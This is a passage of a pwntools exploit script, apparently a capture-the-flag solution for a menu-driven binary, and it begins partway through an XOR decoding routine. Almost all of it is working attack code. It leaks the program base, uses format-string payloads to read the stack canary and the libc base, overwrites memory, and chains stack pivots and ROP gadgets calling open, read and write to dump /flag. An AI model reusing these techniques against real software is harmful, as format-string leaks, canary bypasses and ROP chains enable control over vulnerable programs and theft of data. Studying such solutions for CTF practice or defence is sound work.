for i in range(length):
decrypted_data.append(encrypted_data[i] ^ ord(char_table[i % 65]))
dword_6100 ^= length
return bytes(decrypted_data)

p=start()

p.recvuntil(b"-->>\n")
p.sendline(str(1))
p.recvuntil(b"i can keep it a secret for you.\n")
p.sendline(decrypt_data(b"y",1))
p.recvuntil(b"What do you want to say?\n")
p.sendline(b'(.,2 3.$')
p.recvuntil(b"You said: \n")
data1=p.recvline()
log.success(decrypt_data(data1,len(data1)))

p.recvuntil(b"-->>\n")
p.sendline(str(3))
p.recvuntil(b"Then she will tell you her name.\n")
p.sendline(decrypt_data(b"oveu",4))
p.recvuntil(b"she loves you as well.\n")
addr_str = p.recv(14)
text_base = int(addr_str, 16)-0x40B8
log.success(hex(text_base))

p.recvuntil(b"-->>\n")
p.sendline(str(2))
p.recvuntil(b"Do you want to order?\n")
p.sendline(decrypt_data(b"y",1))
p.recvuntil(b"Where does she live?\n")
change_where=p64(text_base+0x4040)
p.send(decrypt_data(change_where,len(change_where)))
p.recvuntil(b"What flower do you want to order for her?\n")
change_what=(0xc606f0)&0xffffff #这里的最高一位c不确定,需要爆破尝试,理论1/16
p.send(decrypt_data(p32(change_what),3))

p.recvuntil(b"-->>")
p.sendline(str(1))
p.recvuntil(b"i can keep it a secret for you.")
p.sendline(decrypt_data(b"y",1))
p.recvuntil(b"What do you want to say?")
payload2=b"%11$p"
p.sendline(decrypt_data(payload2,5))
p.recvuntil(b"You said: ")
p.recvuntil(b"0x")
canary_hex = p.recv(16)
canary = int(canary_hex, 16)
print(f"提取到的Canary: 0x{canary_hex.decode()}")

p.recvuntil(b"-->>")
p.sendline(str(1))
p.recvuntil(b"i can keep it a secret for you.")
p.sendline(decrypt_data(b"y",1))
p.recvuntil(b"What do you want to say?")
payload10=b"%33$p"
p.sendline(decrypt_data(payload10,5))
p.recvuntil(b"You said: ")
p.recvuntil(b"0x")
canary_hex = p.recv(12)
libc_base = int(canary_hex, 16)-libc.sym["__libc_start_main"]-0x80
print(hex(libc_base))

open_plt_addr = libc_base + libc.sym["open"]
read_plt_addr = libc_base + libc.sym["read"]
write_plt_addr = libc_base + libc.sym["write"]
pop_rdi_addr=libc_base+0x2a3e5
pop_rsi_addr=libc_base+0x2be51
pop_rdx_addr=libc_base+0x11f357
pop_rdx_addr_1=libc_base+0xa5722

write_addr=text_base+0x4600
read_ret=text_base+0x1b32
leave_ret=text_base+0x1b5d
p.recvuntil(b"-->>")
p.sendline(str(4))
p.recvuntil(b"Tell me something to prove that your girlfrined exists.")
payload2=p64(0)*9+p64(canary)+p64(write_addr)+p64(read_ret)
p.send(payload2)


pause()
payload3 = p64(write_addr-0x100)
payload3+= p64(pop_rdi_addr)
payload3+= p64(write_addr-0x10)
payload3+= p64(pop_rsi_addr)
payload3+= p64(0)
payload3+= p64(open_plt_addr)
payload3+= p64(read_ret)
payload3+= p64(pop_rdi_addr+1)
payload3+= b"/flag\x00\x00\x00"
payload3+= p64(canary)
payload3+= p64(write_addr-0x50)
payload3+= p64(leave_ret)
p.send(payload3)

pause()
payload4 = p64(write_addr-0x200)
payload4+= p64(pop_rdi_addr)
payload4+= p64(3)
payload4+= p64(pop_rsi_addr)
payload4+= p64(write_addr+0x100)
payload4+= p64(read_plt_addr)
payload4+= p64(read_ret)
payload4+= p64(0)*2
payload4+= p64(canary)
payload4+= p64(write_addr-0x150)
payload4+= p64(leave_ret)
p.send(payload4)

pause()
payload5 = p64(write_addr-0x300)
payload5+= p64(pop_rdi_addr)
payload5+= p64(1)
payload5+= p64(pop_rsi_addr)
payload5+= p64(write_addr+0x100)
payload5+= p64(pop_rdx_addr)
payload5+= p64(0x100)
payload5+= p64(0)
payload5+= p64(write_plt_addr)
payload5+= p64(canary)
payload5+= p64(write_addr-0x250)
payload5+= p64(leave_ret)
p.send(payload5)

p.interactive()